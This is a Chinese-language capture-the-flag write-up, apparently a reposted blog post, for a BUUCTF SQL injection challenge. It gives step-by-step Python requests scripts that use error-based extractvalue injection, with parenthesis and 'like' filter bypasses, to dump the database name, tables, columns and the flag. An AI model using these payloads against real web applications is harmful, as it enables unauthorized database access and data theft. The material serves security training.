本文共 3575 字,大约阅读时间需要 11 分钟。
本题可以用报错注入搞定
在网页端搞太累了,直接写python利用python访问就行。import requestsurl = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(database()),0x7e))^'1&password=12123"print(requests.get(url).text)
得到数据库名geek
=
空格无法用/**/
绕过,但是可以用括号绕过。 import requests#url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(database()),0x7e))^'1&password=12123"url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e))^'1&password=12123"print(requests.get(url).text)
得到表名H4rDsq1
import requests#url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(database()),0x7e))^'1&password=12123"#url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e))^'1&password=12123"url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e))^'1&password=12123"print(requests.get(url).text)
得到字段名id,username,password
import requests#url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(database()),0x7e))^'1&password=12123"#url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e))^'1&password=12123"#url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e))^'1&password=12123"url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))^'1&password=12123"print(requests.get(url).text)
得到了flag:flag{38ea110d-4a34-447c-bf94-4d
,但是flag长得有点奇怪。
substr
函数绕过,也可以用right
函数绕过。看了一下已经输出31位了,目测后面的应该也不足20位,就干脆输出最后的20位,重复部分去掉即可。 import requests#url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(database()),0x7e))^'1&password=12123"#url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e))^'1&password=12123"#url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e))^'1&password=12123"#url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))^'1&password=12123"url = "http://e2c802ff-a416-42ff-9728-e95ebfa07110.node3.buuoj.cn/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)),0x7e))^'1&password=12123"print(requests.get(url).text)
得到c-bf94-4dbef4ce8f85}
flag{38ea110d-4a34-447c-bf94-4dbef4ce8f85}
转载地址:http://mxpbi.baihongyu.com/